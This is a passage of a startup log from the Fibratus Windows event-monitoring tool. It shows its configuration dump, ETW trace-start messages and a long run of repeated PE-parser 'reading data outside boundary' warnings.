timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + kstream ........................ [ enable-registry=>true enable-fileio=>true max-buffers=>36 buffer-size=>512 stack-enrichment=>true blacklist=>[ events=>[] images=>[]] enable-vamap=>true enable-image=>true enable-mem=>true enable-handle=>false flush-interval=>1s enable-audit-api=>true enable-thread=>true enable-net=>true min-buffers=>16 enable-dns=>true] + logging ........................ [ max-age=>0 formatter=>text level=>info max-backups=>15 log-stdout=>true max-size=>100] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s healthcheck=>true timeout=>5s healthcheck-timeout=>5s template-name=>fibratus bulk-workers=>1 enabled=>false servers=>[http://127.0.0.1:9200] sniff=>false trace-log=>false flush-period=>1s index-name=>fibratus gzip-compression=>false] amqp=>[ durable=>false exchange-type=>topic enabled=>false delivery-mode=>transient tls-insecure-skip-verify=>false exchange=>fibratus timeout=>5s routing-key=>fibratus passive=>false url=>amqp://localhost:5672 vhost=>/] http=>[ method=>POST enable-gzip=>false endpoints=>[] timeout=>5s enabled=>false serializer=>json tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }}]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ kparams=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ alert-via=>mail skip-files=>true excluded-procs=>[] enabled=>false alert-template=>[] scan-timeout=>10s excluded-files=>[] fastscan=>true] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:38:00+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:38:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:38:02+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:38:02+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:38:02+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:38:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:17+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:38:26+01:00 level=warning msg=failed to parse data directory Import, 